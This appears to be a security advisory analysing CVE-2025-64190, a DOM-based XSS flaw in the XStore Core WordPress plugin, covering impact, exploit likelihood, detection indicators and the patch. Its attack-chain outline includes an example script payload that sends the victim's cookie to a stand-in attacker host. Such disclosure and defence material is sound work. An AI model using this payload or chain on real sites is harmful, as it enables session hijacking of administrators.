CVE-2025-64190: 
WordPress vulnerability analysis and mitigation

CVE-2025-64190 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the 8theme XStore Core WordPress plugin (et-core-plugin). It affects all versions of XStore Core prior to 5.6 and was discovered by researcher João Pedro S Alcântara (Kinorth) on September 17, 2025, with public disclosure on December 30, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically manifesting as DOM-Based XSS. Exploitation requires an attacker with at least Contributor-level privileges on the WordPress site to inject malicious scripts that are then processed and executed within the victim's browser DOM without proper sanitization. User interaction is required — a privileged user must perform an action such as clicking a malicious link or visiting a crafted page for the payload to execute. The attack vector is network-based with low attack complexity (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, redirection to malicious sites, or injection of unwanted advertisements and HTML payloads visible to site visitors. The scope is changed (S:C), meaning the impact can extend beyond the vulnerable component to affect other resources, with low confidentiality, integrity, and availability impacts (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-64190. The EPSS score is approximately 0.033%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority with no impactful threat currently observed, though they note that XSS vulnerabilities of this type can be leveraged in mass-exploit campaigns targeting WordPress sites (Patchstack).

1. Reconnaissance: Identify WordPress sites running the XStore Core plugin (et-core-plugin) at versions below 5.6, using tools like WPScan or by inspecting plugin metadata in publicly accessible WordPress installations.
2. Obtain Contributor access: Acquire at minimum a Contributor-level account on the target WordPress site, either through registration (if open), credential theft, or social engineering.
3. Craft malicious payload: Prepare a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to execute in the browser DOM when processed by the vulnerable plugin component.
4. Inject payload: Insert the malicious script into a plugin-rendered input field or parameter that is reflected into the DOM without proper sanitization.
5. Trigger victim interaction: Deliver a crafted link or page to a privileged user (e.g., administrator) to trigger execution of the injected script in their browser session, enabling session hijacking or further exploitation (Patchstack).

• Logs: WordPress access logs showing unusual requests to XStore Core plugin endpoints containing encoded JavaScript or HTML payloads (e.g., <script>, javascript:, onerror=, onload= patterns in query parameters or POST bodies.
• Network: Outbound connections from victim browsers to unknown external domains shortly after interacting with XStore Core plugin pages; traffic to attacker-controlled cookie-harvesting endpoints.
• File System: Unexpected modifications to XStore Core plugin files or injection of malicious JavaScript into theme or plugin assets.
• Browser/Application: Unexpected redirects, pop-ups, or injected advertisements appearing on the WordPress frontend for site visitors.

The vendor (8theme) has released version 5.6 of the XStore Core plugin, which patches this vulnerability. Site administrators should update the et-core-plugin to version 5.6 or later immediately. If an immediate update is not possible, restricting Contributor-level user registration and limiting untrusted user access to content creation features can reduce exposure. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).

Patchstack, which coordinated the disclosure, classifies this as a low-priority vulnerability with no impactful threat currently observed. The vulnerability was reported through Patchstack's Active VDP (Vulnerability Disclosure Program) by researcher João Pedro S Alcântara (Kinorth), and early warnings were sent to Patchstack customers on the disclosure date of December 30, 2025. No significant broader media coverage or notable researcher commentary beyond the Patchstack advisory has been identified (Patchstack).